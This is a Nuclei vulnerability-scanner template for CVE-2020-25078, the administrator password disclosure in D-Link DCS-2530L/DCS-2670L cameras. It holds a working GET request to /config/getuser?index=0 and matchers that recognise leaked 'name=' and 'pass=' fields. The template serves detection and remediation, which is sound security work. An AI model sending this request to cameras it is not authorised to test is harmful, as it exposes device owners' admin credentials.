nuclei-templates/http/cves/2020/CVE-2020-25078.yaml

50 lines
1.5 KiB
YAML

id: CVE-2020-25078
info:
name: D-Link DCS-2530L/DCS-2670L - Administrator Password Disclosure
author: pikpikcu
severity: high
description: D-Link DCS-2530L before 1.06.01 Hotfix and DCS-2670L through 2.02 devices are vulnerable to password disclosures vulnerabilities because the /config/getuser endpoint allows for remote administrator password disclosure.
remediation: |
Update the camera firmware to the latest version to fix the vulnerability.
reference:
- https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10180
- https://twitter.com/Dogonsecurity/status/1273251236167516161
- https://nvd.nist.gov/vuln/detail/CVE-2020-25078
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2020-25078
epss-score: 0.60091
epss-percentile: 0.97454
cpe: cpe:2.3:o:dlink:dcs-2530l_firmware:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: dlink
product: dcs-2530l_firmware
tags: cve,cve2020,dlink
http:
- method: GET
path:
- "{{BaseURL}}/config/getuser?index=0"
matchers-condition: and
matchers:
- type: word
words:
- "name="
- "pass="
condition: and
- type: word
part: header
words:
- "text/plain"
- type: status
status:
- 200
# digest: 490a00463044022060cf9abfdb95f884f4582daa7c8840dfde725bb5f8e17185e31d3d57b649f0df022061571fa888ca185f8e518662c74c38d32f326b6549009cdb759eb42880079858:922c64590222798bb761d5b6d8e72950